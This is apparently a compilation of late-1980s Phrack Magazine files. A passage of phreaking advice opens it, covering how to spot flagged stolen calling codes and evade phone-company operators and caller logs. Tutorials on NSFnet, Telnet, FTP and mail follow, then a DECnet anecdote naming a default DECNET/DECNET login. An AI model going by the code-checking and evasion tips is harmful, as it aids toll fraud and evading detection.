couple important +rules that you should know. If you hear continual clicking on the line, then you should assume that an operator is messing with something, +maybe even listening in on you. It is a good idea to call someone back when the phone starts doing that. If you were using a code, use a +different code and/or service to call him back. +A good way to detect if a code has gone bad or not is to listen when the number has been dialed. If the code is bad you will probably hear the +phone ringing more clearly and more quickly than if you were using a different code. If someone answers voice to it then you can immediately +assume that it is an operative for whatever company you are using. The famed '311311' code for Metro is one of those. You would have to be +quite stupid to actually respond, because whoever you ask for the operator will always say 'He's not in right now, can I have him call you +back?' and then they will ask for your name and phone number. Some of the more sophisticated companies will actually give you a carrier on a +line that is supposed to give you a carrier and then just have garbage flow across the screen like it would with a bad connection. That is a +feeble effort to make you think that the code is still working and maybe get you to dial someone's voice, a good test for the carrier trick is to dial +a number that will give you a carrier that you have never dialed with that code before, that will allow you to determine whether the code is +good or not. For our next section, a lighter look at some of the things that a phreak should not be without. A vocabulary. +A few months ago, it was a quite strange world for the modem people out there. But now, a phreaker's vocabulary is essential if you wanna +make a good impression on people when you post what you know about certain subjects. +/-/ Vocabulary / -/ +- Do not misspell except certain exceptions: +phone -> fone +freak -> phreak +- Never substitute 'z's for 's's. (i.e. codez -> codes) +- Never leave many characters after a post (i.e. Hey Dudes!#!@#@!#!@) +- NEVER use the 'k' prefix (k-kool, k-rad, k-whatever) +- Do not abbreviate. (I got lotsa wares w/ docs) +- Never substitute '0' for 'o' (r0dent, l0zer). +- Forget about ye old upper case, it looks ruggyish. +All right, that was to relieve the tension of what is being drilled into your minds at the moment. Now, however, back to the teaching course. +Here are some things you should know about phones and billings for phones, etc. +LATA: Local Access Transference Area. Some people who live in large cities or areas may be plagued by this problem. For instance, let's say +you live in the 215 area code under the 542 prefix (Ambler, Fort Washington). If you went to dial in a basic Metro code from that area, for +instance, 351-0100, that might not be counted under unlimited local calling because it is out of your LATA. For some LATA's, you have to dial a +'1' without the area code before you can dial the phone number. That could prove a hassle for us all if you didn't realize you would be billed for +that sort of call. In that way, sometimes, it is better to be safe than sorry and phreak. +The Caller Log: In ESS regions, for every household around, the phone company has something on you called a Caller Log. This shows every +single number that you dialed, and things can be arranged so it showed every number that was calling to you. That's one main disadvantage of +ESS, it is mostly computerized so a number scan could be done like that quite easily. Using a dialup is an easy way to screw that, and is +something worth remembering. Anyways, with the caller log, they check up and see what you dialed. Hmm... you dialed 15 different 800 +numbers that month. Soon they find that you are subscribed to none of those companies. But that is not the only thing. Most people would +imagine "But wait! 800 numbers don't show up on my phone bill!". To those people, it is a nice thought, but 800 numbers are picked up on the +caller log until right before they are sent off to you. So they can check right up on you before they send it away and can note the fact that you +fucked up slightly and called one too many 800 lines. +Right now, after all of that, you should have a pretty good idea of how to grow up as a good phreak. Follow these guidelines, don't show off, +and don't take unnecessary risks when phreaking or hacking. +122.Phrack Magazine - Vol. 3, Issue 27 by Knight Lightning +Prologue +If you are not already familiar with NSFnet, I would suggest that you read: "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and +definitely; "NSFnet: National Science Foundation Network" (Phrack Inc., Volume Three, Issue 26, File 4 of 11). +Introduction +MIDNET is a regional computer network that is part of the NSFnet, the National +Science Foundation Network. Currently, eleven mid-United States universities +are connected to each other and to the NSFnet via MIDnet: +UA - University of Arkansas at Fayetteville +ISU - Iowa State University at Ames +UI - University of Iowa at Iowa City +KSU - Kansas State University at Manhattan +KU - University of Kansas at Lawrence +UMC - University of Missouri at Columbia +WU - Washington University at St. Louis, Missouri +UNL - University of Nebraska at Lincoln +OSU - Oklahoma State University at Stillwater +UT - University of Tulsa (Oklahoma) +OU - University of Oklahoma at Norman +Researchers at any of these universities that have funded grants can access the +six supercomputer centers funded by the NSF: +John Von Neuman Supercomputer Center +National Center for Atmospheric Research +Cornell National Supercomputer Facility +National Center for Supercomputing Applications +Pittsburgh Supercomputing Center +San Diego Supercomputing Center +In addition, researchers and scientists can communicate with each other over a vast world-wide computer network that includes the NSFnet, +ARPAnet, CSnet, BITnet, and others that you have read about in The Future Transcendent Saga. Please refer to "Frontiers" (Phrack Inc., +Volume Two, Issue 24, File 4 of 13) for more details. +MIDnet is just one of several regional computer networks that comprise the NSFnet system. Although all of these regional computer networks +work the same, MIDnet is the only one that I have direct access to and so this file is written from a MIDnet point of view. For people who have +access to the other regional networks of NSFnet, the only real differences depicted in this file that would not apply to the other regional +networks are the universities that are served by MIDnet as opposed to: +NYSERnet in New York State +SURAnet in the southeastern United States +SEQSUInet in Texas +BARRnet in the San Francisco area +MERIT in Michigan +(There are others that are currently being constructed.) +These regional networks all hook into the NSFnet backbone, which is a network that connects the six supercomputer centers. For example, a +person at Kansas State University can connect with a supercomputer via MIDnet and the NSFnet backbone. That researcher can also send +mail to colleagues at the University of Delaware by using MIDnet, NSFnet and SURAnet. Each university has its own local computer network +which connects on-campus computers as well as providing a means to connecting to a regional network. +Some universities are already connected to older networks such as CSnet, the ARPAnet and BITnet. In principal, any campus connected to +any of these networks can access anyone else in any other network since there are gateways between the networks. +Gateways are specialized computers that forward network traffic, thereby connecting networks. In practice, these wide-area networks use +different networking technology which make it impossible to provide full functionality across the gateways. However, mail is almost universally +supported across all gateways, so that a person at a BITnet site can send mail messages to a colleague at an ARPAnet site (or anywhere else +for that matter). You should already be somewhat familiar with this, but if not refer to; "Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, +File 3 of 13) and "Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 11) +Computer networks rely on hardware and software that allow computers to communicate. The language that enables network communication +is called a protocol. There are many different protocols in use today. MIDnet uses the TCP/IP protocols, also known as the DOD (Department +of Defense) Protocol Suite. +Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet. In fact, all the regional networks that are linked to the NSFnet +backbone are required to use TCP/IP. At the local campus level, TCP/IP is often used, although other protocols such as IBM's SNA and DEC's +DECnet are common. In order to communicate with a computer via MIDnet and the NSFnet, a computer at a campus must use TCP/IP directly or +use a gateway that will translate its protocols into TCP/IP. +The Internet is a world-wide computer network that is the conglomeration of most of the large wide area networks, including ARPAnet, CSnet, +NSFnet, and the regionals, such as MIDnet. To a lesser degree, other networks such as BITnet that can send mail to hosts on these networks +are included as part of the Internet. This huge network of networks, the Internet, as you have by now read all about in the pages of Phrack +Inc., is a rapidly growing and very complex entity that allows sophisticated communication between scientists, students, government officials +and others. Being a part of this community is both exciting and challenging. +This chapter of the Future Transcendent Saga gives a general description of the protocols and software used in MIDnet and the NSFNet. A +discussion of several of the more commonly used networking tools is also included to enable you to make practical use of the network as soon +as possible. +The DOD Protocol Suite +The DOD Protocol Suite includes many different protocols. Each protocol is a specification of how communication is to occur between +computers. Computer hardware and software vendors use the protocol to create programs and sometimes specialized hardware in order to +implement the network function intended by the protocol. Different implementations of the same protocol exist for the varied hardware and +operating systems found in a network. +The three most commonly used network functions are: +Mail -- Sending and receiving messages +File Transfer -- Sending and receiving files +Remote Login -- Logging into a distant computer +Of these, mail is probably the most commonly used. +In the TCP/IP world, there are three different protocols that realize these +functions: +SMTP -- (Simple Mail Transfer Protocol) Mail +FTP -- (File Transfer Protocol) sending and receiving files +Telnet -- Remote login +How to use these protocols is discussed in the next section. At first glance, it is not obvious why these three functions are the most common. +After all, mail and file transfer seem to be the same thing. However, mail messages are not identical to files, since they are usually comprised +of only ASCII characters and are sequential in structure. Files may contain binary data and have complicated, non-sequential structures. Also, +mail messages can usually tolerate some errors in transmission whereas files should not contain any errors. Finally, file transfers usually +occur in a secure setting (i.e. The users who are transferring files know each other's names and passwords and are permitted to transfer the +file, whereas mail can be sent to anybody as long as their name is known). +While mail and transfer accomplish the transfer of raw information from one computer to another, Telnet allows a distant user to process that +information, either by logging in to a remote computer or by linking to another terminal. Telnet is most often used to remotely log in to a distant +computer, but it is actually a general-purpose communications protocol. I have found it incredibly useful over the last year. In some ways, it +could be used for a great deal of access because you can directly connect to another computer anywhere that has TCP/IP capabilities, +however please note that Telnet is *NOT* Telenet. There are other functions that some networks provide, including the following: + Name to address translation for networks, computers and people + The current time + Quote of the day or fortune + Printing on a remote printer, or use of any other remote peripheral + Submission of batch jobs for non-interactive execution + Dialogues and conferencing between multiple users + Remote procedure call (i.e. Distributing program execution over several remote computers) + Transmission of voice or video information +Some of these functions are still in the experimental stages and require faster computer networks than currently exist. In the future, new +functions will undoubtedly be invented and existing ones improved. +The DOD Protocol Suite is a layered network architecture, which means that network functions are performed by different programs that work +independently and in harmony with each other. Not only are there different programs but there are different protocols. The protocols SMTP, +FTP and Telnet are described above. Protocols have been defined for getting the current time, the quote of the day, and for translating names. +These protocols are called applications protocols because users directly interact with the programs that implement these protocols. +The Transmission Control Protocol, TCP, is used by many of the application protocols. Users almost never interact with TCP directly. TCP +establishes a reliable end-to-end connection between two processes on remote computers. Data is sent through a network in small chunks +called packets to improve reliability and performance. TCP ensures that packets arrive in order and without errors. If a packet does have +errors, TCP requests that the packet be retransmitted. +In turn, TCP calls upon IP, Internet Protocol, to move the data from one network to another. IP is still not the lowest layer of the architecture, +since there is usually a "data link layer protocol" below it. This can be any of a number of different protocols, two very common ones being +X.25 and Ethernet. +FTP, Telnet and SMTP are called "application protocols", since they are directly used by applications programs that enable users to make use of +the network. Network applications are the actual programs that implement these protocols and provide an interface between the user and the +computer. An implementation of a network protocol is a program or package of programs that provides the desired network function such as +file transfer. Since computers differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have its own implementation of these +protocols. However, the protocols are standardized so that computers can interpolate over the network (i.e. Can understand and process +each other's data). For example, a TCP packet generated by an IBM computer can be read and processed by a DEC computer. +In many instances, network applications programs use the name of the protocol. For example, the program that transfers files may be called +"FTP" and the program that allows remote logins may be called "Telnet." Sometimes these protocols are incorporated into larger packages, as is +common with SMTP. Many computers have mail programs that allow users on the same computer to send mail to each other. SMTP functions +are often added to these mail programs so that users can also send and receive mail through a network. In such cases, there is no separate +program called SMTP that the user can access, since the mail program provides the user interface to this network function. +Specific implementation of network protocols, such as FTP, are tailored to the computer hardware and operating system on which they are +used. Therefore, the exact user interface varies from one implementation to another. For example, the FTP protocol specifies a set of FTP +commands which each FTP implementation must understand and process. However, these are usually placed at a low level, often invisible to +the user, who is given a higher set of commands to use. +These higher-level commands are not standardized so they may vary from one implementation of FTP to another. For some operating systems, +not all of these commands make equal sense, such as "Change Directory," or may have different meanings. Therefore the specific user +interface that the user sees will probably differ. +This file describes a generic implementation of the standard TCP/IP application protocols. Users must consult local documentation for specifics +at their sites. +Names and Addresses In A Network +In DOD Protocol Suite, each network is given a unique identifying number. This number is assigned by a central authority, namely the Network +Information Center run by SRI, abbreviated as SRI-NIC, in order to prevent more than one network from having the same network number. For +example, the ARPAnet has network number 10 while MIDnet has a longer number, namely 128.242. Each host in a network has a unique +identification so other hosts can specify them unambiguously. Host numbers are usually assigned by the organization that manages the +network, rather than one central authority. Host numbers do not need to be unique throughout the whole Internet but two hosts on the same +network need to have unique host numbers. +The combination of the network number and the host number is called the IP address of the host and is specified as a 32-bit binary number. All +IP addresses in the Internet are expressible as 32-bit numbers, although they are often written in dotted decimal notation. Dotted decimal +notation breaks the 32-bit number into four eight-bit parts or octets and each octet is specified as a decimal number. For example, 00000001 is +the binary octet that specifies the decimal number 1, while 11000000 specifies 192. Dotted decimal notation makes IP addresses much easier to +read and remember. +Computers in the Internet are also identified by hostnames, which are strings of characters, such as "phrackvax." However, IP packets must +specify the 32-bit IP address instead of the hostname so some way to translating hostnames to IP addresses must exist. +One way is to have a table of hostnames and their corresponding IP addresses, called a hosttable. Nearly every TCP/IP implementation has +such a hosttable, although the weaknesses of this method are forcing a shift to a new scheme called the domain name system. In UNIX +systems, the hosttable is often called "/etc/hosts." You can usually read this file and find out what the IP addresses of various hosts are. +Other systems may call this file by a different name and make it unavailable for public viewing. +Users of computers are generally given accounts to which all charges for computer use are billed. Even if computer time is free at an +installation, accounts are used to distinguish between the users and enforce file protections. The generic term "username" will be used in this +file to refer to the name by which the computer account is accessed. +In the early days of the ARPAnet which was the first network to use the TCP/IP protocols, computer users were identified by their username, +followed by a commercial "at" sign (@), followed by the hostname on which the account existed. Networks were not given names, per se, +although the IP address specified a network number. +For example, "knight@phrackvax" referred to user "knight" on host "phrackvax." This did not specify which network "phrackvax" was on, +although that information could be obtained by examining the hosttable and the IP address for "phrackvax." (However, "phrackvax" is a +fictitious hostname used for this presentation.) +As time went on, every computer on the network had to have an entry in its hosttable for every other computer on the network. When several +networks linked together to form the Internet, the problem of maintaining this central hosttable got out of hand. Therefore, the domain name +scheme was introduced to split up the hosttable and make it smaller and easier to maintain. +In the new domain name scheme, users are still identified by their usernames, but hosts are now identified by their hostname and any and all +domains of which they are a part. For example, the address "KNIGHT@UMCVMB.MISSOURI.EDU" specifies username "KNIGHT" on host +"UMCVMB". However, host "UMCVMB" is a part of the domain "MISSOURI" " which is in turn part of the domain "EDU". There are other domains +in "EDU", although only one is named "MISSOURI". In the domain "MISSOURI", there is only one host named "UMCVMB". +However, other domains in "EDU" could theoretically have hosts named "UMCVMB" (although I would say that this is rather unlikely in this +example). Thus the combination of hostname and all its domains makes it unique. The method of translating such names into IP addresses is +no longer as straightforward as looking up the hostname in a table. Several protocols and specialized network software called nameservers +and resolvers implement the domain name scheme. +Not all TCP/IP implementations support domain names because it is rather new. In those cases, the local hosttable provides the only way to +translate hostnames to IP addresses. The system manager of that computer will have to put an entry into the hosttable for every host that +users may want to connect to. In some cases, users may consult the nameserver themselves to find out the IP address for a given hostname +and then use that IP address directly instead of a hostname. +I have selected a few network hosts to demonstrate how a host system can be specified by both the hostname and host numerical address. +Some of the nodes I have selected are also nodes on BITnet, perhaps even some of the others that I do not make a note of due a lack of +omniscient awareness about each and every single host system in the world :-) +Numerical BITnet Hostname Location +18.72.0.39 ATHENA.MIT.EDU Mass. Institute of Technology MIT +26.0.0.73 SRI-NIC.ARPA DDN Network Information Center - +36.21.0.13 MACBETH.STANFORD.EDU Stanford University ? +36.21.0.60 PORTIA.STANFORD.EDU Stanford University ? +128.2.11.131 ANDREW.CMU.EDU Carnegie Mellon Univ. ANDREW +128.3.254.13 LBL.GOV Lawrence Berkeley Labrotories LBL +128.6.4.7 RUTGERS.RUTGERS.EDU Rutgers University ? +128�9.99.1 CUCARD.MED.COLUMBIA.EDU Columbia University ? +128.102.18.3 AMES.ARC.NASA.GOV Ames Research Center [NASA] - +128.103.1.1 HARVARD.EDU Harvard University HARVARD +128.111.24.40 HUB.UCSB.EDU Univ. Of Santa Barbara ? +128.115.14.1 LLL-WINKEN.LLNL.GOV Lawrence Livermore Labratories - +128.143.2.7 UVAARPA.VIRGINIA.EDU University of Virginia ? +128.148.128.40 BROWNVM.BROWN.EDU Brown University BROWN +128.163.1 UKCC.UKY.EDU University of Kentucky UKCC +128.183.10.4 NSSDCA.GSFC.NASA.GOV Goddard Space Flight Center [NASA]- +128.186.4.18 RAI.CC.FSU.EDU Florida State University FSU +128.206.1.1 UMCVMB.MISSOURI.EDU Univ. of MissouriColumbia UMCVMB +128.208.1.15 MAX.ACS.WASHINGTON.EDU University of Washington MAX +128.228.1.2 CUNYVM.CUNY.EDU City University of New York CUNYVM +129.10.1.6 NUHUB.ACS.NORTHEASTERN.EDU Northeastern University NUHUB +131.151.1.4 UMRVMA.UMR.EDU University of Missouri Rolla UMRVMA +192.9.9.1 SUN.COM Sun Microsystems, Inc. - +192.33.18.30 VM1.NODAK.EDU North Dakota State Univ. NDSUVM1 +192.33.18�0 PLAINS.NODAK.EDU North Dakota State Univ. NDSUVAX +Please Note: Not every system on BITnet has an IP address. Likewise, not every system that has an IP address is on BITnet. Also, while +some locations like Stanford University may have nodes on BITnet and have hosts on the IP as well, this does not necessarily imply that the +systems on BITnet and on IP (the EDU domain in this case) are the same systems. +Attempts to gain unauthorized access to systems on the internet are not tolerated and is legally a federal offense. At some hosts, they take +this very seriously, especially the government hosts such as NASA's Goddard Space Flight Center, where they do not mind telling you so at +the main prompt when you connect to their system. +However, some nodes are public access to an extent. The DDN Network Information Center can be used by anyone. The server and database +there have proven to be an invaluable source of information when locating people, systems, and other information that is related to the Internet. +Telnet +Remote login refers to logging in to a remote computer from a terminal connected to a local computer. Telnet is the standard protocol in the DOD +Protocol Suite for accomplishing this. The "rlogin" program, provided with Berkeley UNIX systems and some other systems, also enables +remote login. +For purposes of discussion, the "local computer" is the computer to which your terminal is directly connected while the "remote computer" is +the computer on the network to which you are communicating and to which your terminal is *NOT* directly connected. +Since some computers use a different method of attaching terminals to computers, a better definition would be the following: The "local +computer" is the computer that you are currently using and the "remote computer" is the computer on the network with which you are or will be +communicating. Note that the terms "host" and "computer" are synonymous in the following discussion. +To use Telnet, simply enter the command: TELNET +The prompt that Telnet gives is: Telnet> +(However, you can specify where you want to Telnet to immediately and bypass the prompts and other delays by issuing the command: +TELNET [location].) +There is help available by typing in ?. This prints a list of all the valid +subcommands that Telnet provides with a one-line explanation. +Telnet> ? +To connect to another computer, use the open subcommand to open a connection +to that computer. For example, to connect to the host "UMCVMB.MISSOURI.EDU", +do "open umcvmb.missouri.edu" +Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu" into an +IP address and will send a packet to that host requesting login. If the remote +host decides to let you attempt a login, it prompts you for your username and password. If the host does not respond, Telnet will "time out" (i.e. +Wait for a reasonable amount of time such as 20 seconds) and then terminate with a message such as "Host not responding." +If your computer does not have an entry for a remote host in its hosttable and it cannot resolve the name, you can use the IP address explicitly +in the telnet command. For example, +TELNET 26.0.0.73 (Note: This is the IP address for the DDN Network Information Center [SRI-NIC.ARPA]) +If you are successful in logging in, your terminal is connected to the remote host. For all intents and purposes, your terminal is directly hardwired +to that host and you should be able to do anything on your remote terminal that you can do at any local terminal. There are a few +exceptions to this rule, however. +Telnet provides a network escape character, such as CONTROL-T. You can find out what the escape character is by entering the "status" +subcommand: +Telnet> status +You can change the escape character by entering the "escape" subcommand: +Telnet> escape +When you type in the escape character, the Telnet prompt returns to your screen and you can enter subcommands. For example, to break the +connection, which usually logs you off the remote host, enter the subcommand "quit": +Telnet> quit +Your Telnet connection usually breaks when you log off the remote host, so the "quit" subcommand is not usually used to log off. +When you are logged in to a remote computer via Telnet, remember that there is a time delay between your local computer and the remote one. +This often becomes apparent to users when scrolling a long file across the terminal screen and they wish to cancel the scrolling by typing +CONTROL-C or something similar. After typing the special control character, the scrolling continues. The special control character takes a +certain amount of time to reach the remote computer which is still scrolling information. Thus response from the remote computer will not likely +be as quick as response from a local computer. Once you are remotely logged on, the computer you are logged on to effectively becomes your +"local computer," even though your original "local computer" still considers you logged on. You can log on to a third computer which would +then become your "local computer" and so on. As you log out of each session, your previous session becomes active again. +File Transfer +FTP is the program that allows files to be sent from one computer to another. +"FTP" stands for "File Transfer Protocol". +When you start using FTP, a communications channel with another computer on the network is opened. For example, to start using FTP and +initiate a file transfer session with a computer on the network called "UMCVMB", you would issue the following subcommand: +FTP UMCVMB.MISSOURI.EDU +Host "UMCVMB" will prompt you for an account name and password. If your login is correct, FTP will tell you so, otherwise it will say "login +incorrect." Try again or abort the FTP program. (This is usually done by typing a special control character such as CONTROL-C. The "program +abort" character varies from system to system.) +Next you will see the FTP prompt, which is: +Ftp> +There are a number of subcommands of FTP. The subcommand "?" will list these commands and a brief description of each one. +You can initiate a file transfer in either direction with FTP, either from the remote host or to the remote host. The "get" subcommand initiates a +file transfer from the remote host (i.e. Tells the remote computer to send the file to the local computer [the one on which you issued the "ftp" +command]). Simply enter "get" and FTP will prompt you for the remote host's file name and the (new) local host's file name. Example: +Ftp> get +Remote file name? +theirfile +local file name? +myfile +You can abbreviate this by typing both file names on the same line as the "get" subcommand. If you do not specify a local file name, the new +local file will be called the same thing as the remote file. Valid FTP subcommands to get a file include the following: +get theirfile myfile +get doc.x25 +The "put" subcommand works in a similar fashion and is used to send a file from the local computer to the remote computer. Enter the command +"put" and FTP will prompt you for the local file name and then the remote file name. If the transfer cannot be done because the file doesn't exist +or for some other reason, FTP will print an error message. +There are a number of other subcommands in FTP that allow you to do many more things. Not all of these are standard so consult your local +documentation or type a question mark at the FTP prompt. Some functions often built into FTP include the ability to look at files before getting or +putting them, the ability to change directories, the ability to delete files on the remote computer, and the ability to list the directory on the remote +host. +An intriguing capability of many FTP implementations is "third party transfers." For example, if you are logged on computer A and you want to +cause computer B to send a file to computer C, you can use FTP to connect to computer B and use the "rmtsend" command. Of course, you +have to know usernames and passwords on all three computers, since FTP never allows you to peek into someone's directory and files +unless you know their username and password. +The "cd" subcommand changes your working directory on the remote host. The "lcd" subcommand changes the directory on the local host. For +UNIX systems, the meaning of these subcommands is obvious. Other systems, especially those that do not have directory-structured file +system, may not implement these commands or may implement them in a different manner. +The "dir" and "ls" subcommands do the same thing, namely list the files in the working directory of the remote host. +The "list" subcommand shows the contents of a file without actually putting it into a file on the local computer. This would be helpful if you just +wanted to inspect a file. You could interrupt it before it reached the end of the file by typing CONTROL-C or some other special character. This +is dependent on your FTP implementation. +The "delete" command can delete files on the remote host. You can also make and remove directories on the remote host with "mkdir" and +"rmdir". The "status" subcommand will tell you if you are connected and with whom and what the state of all your options are. +If you are transferring binary files or files with any non-printable characters, turn binary mode on by entering the "binary" subcommand: +binary +To resume non-binary transfers, enter the "ascii" subcommand. +Transferring a number of files can be done easily by using "mput" (multiple put) and "mget" (multiple get). For example, to get every file in a +particular directory, first issue a "cd" command to change to that directory and then a "mget" command with an asterisk to indicate every file: +cd somedirectory +mget * +When you are done, use the "close" subcommand to break the communications link. You will still be in FTP, so you must use the "bye" +subcommand to exit FTP and return to the command level. The "quit" subcommand will close the connection and exit from FTP at the same time. +Mail +Mail is the simplest network facility to use in many ways. All you have to do is to create your message, which can be done with a file editor or +on the spur of the moment, and then send it. Unlike FTP and Telnet, you do not need to know the password of the username on the remote +computer. This is so because you cannot change or access the files of the remote user nor can you use their account to run programs. All you +can do is to send a message. +There is probably a program on your local computer which does mail between users on that computer. Such a program is called a mailer. This +may or may not be the way to send or receive mail from other computers on the network, although integrated mailers are more and more +common. UNIX mailers will be used as an example in this discussion. +Note that the protocol which is used to send and receive mail over a TCP/IP network is called SMTP, the "Simple Mail Transfer Protocol." +Typically, you will not use any program called SMTP, but rather your local mail program. +UNIX mailers are usually used by invoking a program named "mail". To receive new mail, simply type "mail". There are several varieties of UNIX +mailers in existence. Consult your local documentation for details. For example, the command "man mail" prints out the manual pages for the mail +program on your computer. +To send mail, you usually specify the address of the recipient on the mail command. For example: "mail knight@umcvmb.missouri.edu" will send +the following message to username "knight" on host "umcvmb". +You can usually type in your message one line at a time, pressing RETURN after each line and typing CONTROL-D to end the message. Other +facilities to include already-existing files sometimes exist. For example, Berkeley UNIX's allow you to enter commands similar to the following to +include a file in your current mail message: +r myfile +In this example, the contents of "myfile" are inserted into the message at this point. +Most UNIX systems allow you to send a file through the mail by using input redirection. For example: +mail knight@umcvmb.missouri.edu < myfile +In this example, the contents of "myfile" are sent as a message to "knight" on "umcvmb." +Note that in many UNIX systems the only distinction between mail bound for another user on the same computer and another user on a remote +computer is simply the address specified. That is, there is no hostname for local recipients. Otherwise, mail functions in exactly the same way. +This is common for integrated mail packages. The system knows whether to send the mail locally or through the network based on the +address and the user is shielded from any other details. +"The Quest For Knowledge Is Without End..." +123.Phrack Magazine - Vol. 3, Issue 27 by Knight Lightning +Prologue For None VMS Users +DECnet is the network for DEC machines, in most cases you can say VAX's. DECnet allows you to do: + e-mail + file transfer + remote login + remote command + remote job entry + PHONE +PHONE is an interactive communication between users and is equal to TALK on UNIX or a "deluxe"-CHAT on VM/CMS. +BELWUE, the university network of the state Baden-Wuerttemberg in West Germany contains (besides other networks) a DECnet with about +400 VAX's. On every VAX there is standard-account called DECNET with pw:= DECNET, which is not reachable via remote login. This account +is provided for several DECnet-Utilities and as a pseudo-guest-account. The DECNET-account has very restricted privileges: You cannot edit a +file or make another remote login. +The HELP is equipped by the system and is similar to the MAN command on UNIX. +More information on DECnet can be found in "Looking Around In DECnet" by Deep Thought in this very issue of Phrack Inc. +Here, at the University of Ulm, we have an *incredibly* ignorant computer center staff, with an even bigger lack of system-literature (besides +the 80kg of VAX/VMS-manuals). The active may search for information by himself, which is over the level of "run," "FORTRAN," or "logout." +My good luck that I have other accounts in the BELWUE-DECnet, where more information is offered for the users. I am a regular student in Ulm +and all my accounts are completely legal and corresponding to the German laws. I don't call myself a "hacker," I feel more like a "user" (...it's +more a defining-problem). +In the HELP-menu in a host in Tuebingen I found the file netdcl.com and the corresponding explanation, which sends commands to the DECNETAccount +of other VAX's and executes them there (remote command). The explanation in the HELP-menu was idiot-proof -- therefore for me, +too :-) +With the command "$ mcr ncp show known nodes" you can obtain a list of all netwide active VAX's, as is generally known, and so I pinged all +these VAX's to look for more information for a knowledge-thirsty user. With "help", "dir" and other similar commands I look around on those +DECnet accounts, always watching for topics related to the BELWUE-network. It's a pity, that 2/3 of all VAX's have locked the DECNETAccount +for NETDCL.COM. Their system managers are probably afraid of unauthorized access, but I cannot imagine how there could be such +an unauthorized access, because you cannot log on this account -- no chance for trojan horses, etc. +Some system managers called me back after I visited their VAX to chat with me about the network and asked me if they could help me in any +way. One sysop from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation system. +Then, after a month, the HORROR came over me in shape of a the following mail: +--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- +From: TUEBINGEN::SYSTEM 31-MAY-1989 15:31:11.38 +To: FRAMSTAG +CC: +Subj: don't make any crap, or you'll be kicked out! +From: ITTGPX::SYSTEM 29-MAY-1989 16:46 +To: TUEBINGEN::SYSTEM +Subj: System-breaking-in 01-May-1989 +To the system manager of the Computer TUEBINGEN, +On May 1st 1989 we had a System-breaking-in in our DECNET-account, which started from your machine. By help of our accounting we +ascertained your user FRAMSTAG to have emulated an interactive log-on on our backbone-node and on every machine of our VAX-cluster +with the "trojan horse" NETDCL.COM. Give us this user's name and address and dear up the occurrence completely. We point out that the user +is punishable. In case of repetition we would be forced to take corresponding measures. We will check whether our system got injured. If not, +this time we will disregard any measure. Inform us via DECnet about your investigation results -- we are attainable by the nodenumber +1084::system +Dipl.-Ing. Michael Hager +--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- +My system manager threatened me with the deleting of my account, if I would not immediately enlighten the affair. *Gulp*! I was conscious +about my innocence, but how to tell it to the others? I explained, step by step, everything to my system manager. He then understood after a +while, but the criminal procedure still hovered over me... so, I took quickly to my keyboard, to compose file of explanations and to send it to that +angry system manager in Stuttgart (node 1084 is an institute there). But no way out: He had run out of disk quota and my explanation-mail +sailed into the nirwana: +--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- +$ mail explanation +To: 1084::system +%MAIL-E, error sending to user SYSTEM at 1084 +%MAIL-E-OPENOUT, error opening +SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI; +as output +-RMS-E-CRE, ACP file create failed +-SYSTEM-F-EXDISKQUOTA, disk quota exceeded +--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- +Also the attempt of a connection with the PHONE-facility failed: In his borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list +with the REAL-addresses of the virtual DECnet-addresses available (to prevent hacking). Now I stood there with the brand "DANGEROUS +HACKER!" and I had no chance to vindicate myself. I poured out my troubles to an acquaintance of mine, who is a sysop in the computer-center +in Freiburg. He asked other sysops and managers thru the whole BELWUE-network until someone gave him a telephone number after a few +days -- and that was the right one! +I phoned to this Hager and told him what I had done with his DECnet-account and also what NOT. I wanted to know which crime I had +committed. He promptly canceled all of his reproaches, but he did not excuse his defames incriminations. I entreated him to inform my system +manager in Tuebingen that I have done nothing illegal and to stop him from erasing my account. This happens already to a fellow student of +mine (in this case, Hager was also guilty). He promised me that he would officially cancel his reproaches. +After over a week this doesn't happen (I'm allowed to use my account further on). In return for it, I received a new mail from Hager on +another account of mine: +--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- +From: 1084::HAGER 1-JUN-1989 12:51 +To: 50180::STUD_11 +Subj: System-breaking-in +On June 1st 1989 you have committed a system-breaking-in on at least one of our VAX's. We were able to register this occurrence. We +would be forced to take further measure if you did not dear up the occurrence completely until June 6th. +Of course the expenses involved would be imposed on you. Hence enlightenment must be in your own interest. +We are attainable via DECnet-mail with the address 1084::HAGER or via following +address: +Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik +Dipl.-Ing. M. Hager Tel.: 0711/685-6109 +Dipl.-Ing. M. Mrzyglod Tel.: 0711/685-3398 +Pfaffenwaldring 9/10-1 +7000 Stuttgart-80 +M. Hager +M. Mrzyglod +--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- +This was the reaction of my attempt: "$ PHONE 1084::SYSTEM". I have not answered to this mail. I AM SICK OF IT! +124. Phrack Magazine - Vol. 3, Issue 28 by Taran King +ACSNET +Australian Computer Science Network (ACSNET), also known as Oz, has its gateway through the CSNET node munnari.oz.au and if you +cannot directly mail to the oz.au domain, try either username%munnari.oz.au@UUNET.UU.NET or munnari! username@UUNET.UU.NET. +AT&T MAIL +AT&T Mail is a mailing service of AT&T, probably what you might call it's MCI-Mail equivalent. It is available on the UUCP network as node name +attmail but I've had problems having mail get through. Apparently, it does cost money to mail to this service and the surrounding nodes are not +willing to pick up the tab for the ingoing mail, or at least, this has seemingly been the case thus far. I believe, though, that perhaps routing to +att!attmail!user would work. +AT&T recently announced six new X.400 interconnections between AT&T Mail and electronic mail services in the US, Korea, Sweden, +Australia, and Finland. In the US, AT&T Mail is now interconnected with Telenet Communications Corporation's service, Telemail, allowing users +of both services to exchange messages easily. With the addition of these interconnections, the AT&T Mail Gateway 400 Service allows AT&T +Mail subscribers to exchange messages with users of the following electronic messaging systems: +Company E-Mail Name 